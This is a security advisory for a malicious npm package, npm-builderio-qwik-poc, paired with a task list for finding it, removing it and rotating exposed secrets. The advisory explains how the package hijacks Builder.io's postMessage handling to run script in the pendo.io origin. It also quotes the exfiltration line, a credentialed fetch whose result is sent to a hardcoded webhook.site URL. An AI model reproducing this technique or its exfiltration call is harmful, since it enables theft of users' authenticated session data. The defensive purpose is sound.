MAL-2026-4623 Malicious code in npm-builderio-qwik-poc (npm)
Malicious package
Published
MAL-2026-4623 is a malicious package: npm-builderio-qwik-poc (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-4623/ (Markdown: https://insights.sbomify.com/MAL-2026-4623/index.md)
- Package
- npm-builderio-qwik-poc
- Registry
- npm
What is MAL-2026-4623?
MAL-2026-4623 is a malicious package in npm-builderio-qwik-poc, published on 25 May 2026.
Official description
The package's main entry
index.js is a working browser exploit, not a library. When loaded in a DOM context, it creates a hidden iframe pointing at www.pendo.io?builder.frameEditing=true, then sprays builder.patchUpdates postMessages whose op:'replace' payload on /bindings/show carries a JavaScript string that the Builder.io SDK's stringToFunction() passes to Function() — achieving script execution in the pendo.io origin. The injected script performs a credentialed fetch('https://novus-api.pendo.io/pendo/app', {credentials:'include'}), base64-encodes the response, chunks it, and exfiltrates each chunk via new Image().src = 'https://webhook.site/236d0505-1750-49fe-907d-604b0934b5c7?chunk=...&d=...' to a hardcoded attacker-controlled webhook. Any developer who bundles this package into a web application weaponizes their site against pendo.io users: visitors will silently leak authenticated pendo.io session data to the attacker. The exfil destination is hardcoded with no opt-in, configuration, or authorization gate, so the harm fires on every load regardless of consumer intent. There is no install-time or import-time Node side effect (the code requires a browser DOM), but the public API surface itself is the attack.What should I do about MAL-2026-4623?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.